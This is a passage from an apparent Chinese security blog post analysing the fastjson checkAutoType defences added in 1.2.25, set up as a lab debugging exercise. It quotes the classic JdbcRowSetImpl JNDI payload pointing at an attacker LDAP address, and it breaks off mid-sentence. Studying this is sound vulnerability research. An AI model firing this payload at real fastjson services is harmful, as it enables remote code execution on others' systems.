赞
踩
在1.2.25版本之后,添加了checkAutoType方法。在方法中引入了白名单(AutoType)、黑名单(denyList)和autoTypeSupport选项
把ubuntu靶机的fastjson版本换到1.2.25,使用原始的payload进行debug
{
"xxx":{
"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}
在DefaultJSONParser#parseObject中被添加的checkAutoType()方法
对比下图1.2.24版本的DefaultJSONParser#parseObject方法
**autoTypeSupport值:**autoTypeSupport值在1.2.25版本开始的默认是为false(fastjson>=1.2.25默认为false)
**开启方式:**在代码中加入ParserConfig.getGlobalInstance().setA
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。